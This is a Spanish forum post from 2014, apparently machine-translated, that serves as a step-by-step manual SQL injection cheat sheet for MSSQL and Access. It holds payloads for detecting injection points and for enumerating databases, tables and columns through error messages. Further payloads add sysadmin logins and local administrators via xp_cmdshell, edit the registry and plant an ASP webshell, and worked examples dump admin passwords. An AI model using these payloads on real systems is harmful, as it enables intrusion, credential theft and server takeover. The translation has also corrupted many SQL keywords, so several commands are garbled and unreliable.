|
|
Publicado en 22/11/2014 17:17:21
|
|
|

1. Determinar si hay una inyección ; y 1=1 ; y 1=2
2. Juicio preliminar sobre si es mssql ; y usuario>0
3. Juzgar el sistema de bases de datos ; y (select count(*) from sysobjects)>0 mssql ; y (select count(*) de msysobjects)>0 acceso
4. El parámetro de inyección es un carácter 'y [criterios de consulta] y ''='
5. No hay parámetros filtrados durante la búsqueda 'y [criterios de consulta] y '%25'='
6. Adivina el nombre de la mesa ; y (seleccionar Count(*) de [nombre de la tabla])>0
7. Adivina el campo ; y (seleccionar Conteo(nombre del campo) del nombre de la tabla)>0
8. Adivina la longitud del disco en el campo ; y (seleccionar la lente top 1 (nombre del campo) del nombre de la tabla)>0
9. (1) Adivinar el valor ASCII del campo (acceso) ; y (selecciona top 1 asc(mid(nombre del campo, 1,1)) del nombre de la tabla)>0
(2) Adivinar el valor ASCII del campo (mssql) ; y (selecciona top 1 unicode(substring(nombre del campo, 1,1)) desde el nombre de la tabla)>0
10. Estructura de permisos de prueba (mssql) ; y 1=(seleccionar IS_SRVROLEMEMBER('sysadmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('serveradmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('setupadmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('securityadmin')); -- ; y 1=(select IS_SRVROLEMEMBER('diskadmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('bulkadmin')); -- ; y 1=(seleccionar IS_MEMBER('db_owner')); --
11. Añadir una cuenta para mssql y el sistema ; nombre de usuario master.dbo.sp_addlogin ejecutivo; -- ; exec master.dbo.sp_password null, nombre de usuario, contraseña; -- ; nombre de usuario de administrador de sistemas master.dbo.sp_addsrvrolemember ejecutivo; -- ; master.dbo.xp_cmdshell ejecutivo 'Usuario de usuario de internet contraseña /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; Ejecutivo master.dbo.xp_cmdshell 'Usuario de usuario de la red contraseña /add'; -- ; EXEC master.dbo.xp_cmdshell 'Administrador de grupo local de la red nombre de usuario /add'; --
12. (1) Recorrer el catálogo ; Create Table dirs (paths varchar(100), id int) ; Insertar directores ejecutivos master.dbo.xp_dirtree 'c:\' ; y (selecciona los caminos principales de las directoras)>0 ; y (selecciona los caminos top 1 de las dirs donde los caminos no están en ('rutas obtenidas del paso anterior')))>)
(2) Recorrer el catálogo ; crear la temperatura de la tabla (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; insertar ejecutivo temporal master.dbo.xp_availablemedia; -- Consigue todos los discos de corriente ; insertar en temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obtener una lista de subdirectorios ; insertar en temp(id,num1) ejecutivo master.dbo.xp_dirtree 'c:\'; -- Obtener la estructura del árbol de directorios para todos los subdirectorios ; insertar en el ejecutivo de temp(id) master.dbo.xp_cmdshell 'tipo c:\web\index.asp'; -- Ver el contenido del archivo
13. Procedimientos almacenados en mssql xp_regenumvalues Clave raíz del registro, clave hija ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' devuelve todos los valores clave en múltiples conjuntos de registros xp_regread Clave raíz, clave hija, nombre clave-valor ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' devuelve el valor de la clave de set xp_regwrite Clave raíz, clave hija, nombre de valor, tipo de valor, valor Existen dos tipos de valores REG_SZ REG_DWORD para los tipos de carácter y para los enteros ; ejecutiva xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'hola' al registro xp_regdeletevalue Clave raíz, subclave, nombre del valor exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' para eliminar un valor xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' para eliminar la clave, incluyendo todos los valores bajo esa clave
14. La copia de seguridad de MSSQL crea un webshell Modelo de uso crear tabla cmd(imagen STR); insertar en cmd(str) valores ('<% Dim oScript %>'); Copia de seguridad del modelo de base de datos en disco='c:\l.asp';
15. Funciones integradas de MSSQL ; y (selecciona @@version)>0 para obtener el número de versión de Windows ; y user_name()='dbo' para determinar si el usuario conectado del sistema actual es SA ; y (select user_name())>0 Explotaron los usuarios conectados del sistema actual ; y (selecciona db_name())>0 para obtener la base de datos conectada actualmente
Violación de la base de datos anotada a mano por MSSQL
1. Exponer el nombre actual de la tabla y el nombre de la columna Envía "'having 1=1--" después del punto de inyección para obtener el mensaje de retorno en inglés, en el que puedes ver el nombre de una tabla y el nombre de una columna. Envía "grupo por el nombre de la lista que tiene 1=1--" para obtener otro nombre de columna; Sigue enviando "agrupar por la lista del nombre de la tabla expuesta, el nombre de la tabla expuesta. El nombre de la segunda columna tiene 1=1--", lo que te da otro nombre de columna. Haz commit de la misma manera hasta que la página deje de devolver mensajes de error para obtener todos los nombres de columna. Curiosidades: Los nombres violentos de tablas y columnas se usan en combinación con GROUP BY en sentencias SQL para emitir juicios condicionales. Como la instrucción está incompleta, la base de datos devuelve un mensaje de error y muestra un nombre de tabla y un nombre de columna. El método básico solo puede exponer la tabla actual en la base de datos, y si una tabla contiene muchos nombres de columnas, es muy difícil usar el método básico.
Primero. Todos los nombres de las bases de datos están expuestos Utiliza la sentencia "and 0<>(select count(*) from master.dbo.sysdatabases donde name>1 y dbid=[N])" para exponer nombres arbitrarios de tablas y columnas en la base de datos, donde "[N]" representa la N-ésima tabla de la base de datos. Paso 1: Después de inyectar el punto, enviar la siguiente instrucción: "y 0<>(select count(*) from master.dbo.sysdatabases donde name>1 y dbid=12)", porque el valor de dbid va de 1 a 5, que es usado por el sistema, así que el usuario debe haberlo construido desde 6 y nosotros enviamos el nombre>1, el campo de nombre es un campo de tipo de carácter y la comparación numérica será incorrecta, por lo que tras enviarlo, IE devolverá la siguiente información: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] convierte el valor nvarchar 'Northwind' a tipo de dato int columna. De este modo, se expone el valor del campo de nombre, es decir, obtenemos un nombre de base de datos "Northwind". Cambiar el valor de "dbid" puede obtener todos los nombres de la base de datos.
y 0<>(select count(*) de master.dbo.sysdatabases donde name>1 y dbid=[N])-- Modificar N para explotar todos los nombres de bases de datos desde 6
Segundo. Expone todos los nombres de las tablas en la base de datos especificada Después de obtener el nombre de la base de datos, ahora necesitas obtener todos los nombres de las tablas de la biblioteca, enviar la siguiente instrucción: "y 0<>(seleccionar el nombre principal 1 de master.dbo.sysobjects donde xtype='U')", aquí está el nombre de la tabla en la base de datos maestra, y la instrucción SQL de la consulta devuelve el valor de nombre, y luego compáralo con el número 0, para que el valor de nombre quede expuesto. Tras enviarla, el nombre de la tabla era "'spt_monito" se reveló. Luego se exponen las otras tablas y se presenta la siguiente afirmación: "y 0<>(selecciona el nombre principal 1 de master.dbo.sysobjects donde xtype='U' y name not in('spt_monito'))", y se expone otra tabla llamada "cd512". Archivo "y nombre no en(' spt_monito',' CD512',..))" Puedes averiguar todos los nombres de las tablas.
y 0<>(selecciona el nombre top 1 de [especificar nombre de base de datos].dbo.sysobjects donde xtype='U')-- y 0<>(selecciona el nombre top 1 de [especificar nombre de base de datos].dbo.sysobjects donde xtype='U' y name not in('[Nombre de la tabla explotada]'))-- y 0<>(selecciona el nombre top 1 de [especificar nombre de base de datos].dbo.sysobjects donde xtype='U' y name not in('[Nombre de tabla explosiva]', '[Nombre de la segunda tabla explotada]')))--
4. Exponer todos los nombres de columnas en la tabla especificada y 0<>(select count(*) de bbs.dbo.sysobjects donde xtype='U' y name='admin' y uid>(str(id))) Convierte el valor del ID en un tipo de carácter y luego compáralo con un valor entero. El número de identificación está fuera. El valor es: 949578421 nombre='nombre de la tabla'
y 0<>(selecciona el nombre top 1 de wutong.dbo.syscolumns donde id=949578421)-- Se expone un nombre de campo en la tabla de administración
Reenviar y 0<>(seleccionar el nombre top 1 de wutong.dbo.syscolumns donde id=949578421 y name not in('adduser')))-- Archivo "y nombre no en(' spt_monito',' CD512',..))" Puedes encontrar todos los nombres de campos en la tabla de administración.
y 0<>(select count(*) de [especificar nombre de base de datos].dbo.sysobjects donde xtype='U' y name='[Nombre de la tabla del campo a explotar]' y uid>(str(id)))—El valor ID del nombre de la tabla del campo a explotar
y 0<>(selecciona el nombre superior 1 de [especificar nombre de base de datos].dbo.syscolumns donde id=valor de id explotado)-- El nombre de un campo en la tabla de valores de id explosivo
y 0<>(seleccionar nombre top 1 de [especificar nombre de base de datos].dbo.syscolumns donde id=Valor de id explosivo y nombre no en('[Nombre de campo explotado]'))))--
5. Lee los datos de la tabla especificada
y 0<(select A_ID de wutong.dbo.admin donde A_UserID>1) — el contenido que rompió A_PWD
y 0<(selecciona [un campo que existe] de [especificar nombre de base de datos].dbo.[nombre de la tabla para consulta] donde [nombre del campo para expandir contenido]>1)--
y 0<(select A_ID de wutong.dbo.admin donde A_PWD>1 y A_UserID='admin')-- Se expone la contraseña del administrador
y 0<(Selecciona Top 1 A_UserID FROM admin donde A_ID<>1)-- El nombre de administrador de id<>1 (fuhao)
y 0<(Selecciona Top 1 A_UserID FROM admin donde A_ID <>1 y A_UserID <> 'fuhao')-- El nombre del segundo admin no <> igual a (tuiguang)
y 0<(Selecciona Top 1 A_UserID DE administrador donde A_ID <>1 y A_UserID <> 'fuhao' y A_UserID <> 'tuiguang')--
Después de conocer el nombre de la tabla y la columna de la base de datos, puedes usar la "sentencia de consulta" para leer cualquier información en la base de datos. Por ejemplo, si quieres leer los datos N-ésimos en una columna de una tabla, puedes enviar la sentencia: "y (Selecciona nombre Top 1 de columna FROM nombre de tabla donde id=[N])>1" ([N] representa los datos N-ésimos en la columna), y puedes conocer los datos deseados a partir de la información devuelta por IE.
|
Anterior:Cómo ocultar un archivo rar comprimido en un archivo jpgPróximo:Colecciona "Harry Potter" 1~7 Sácalo y compártelo Si no te gusta, no lo rocies
|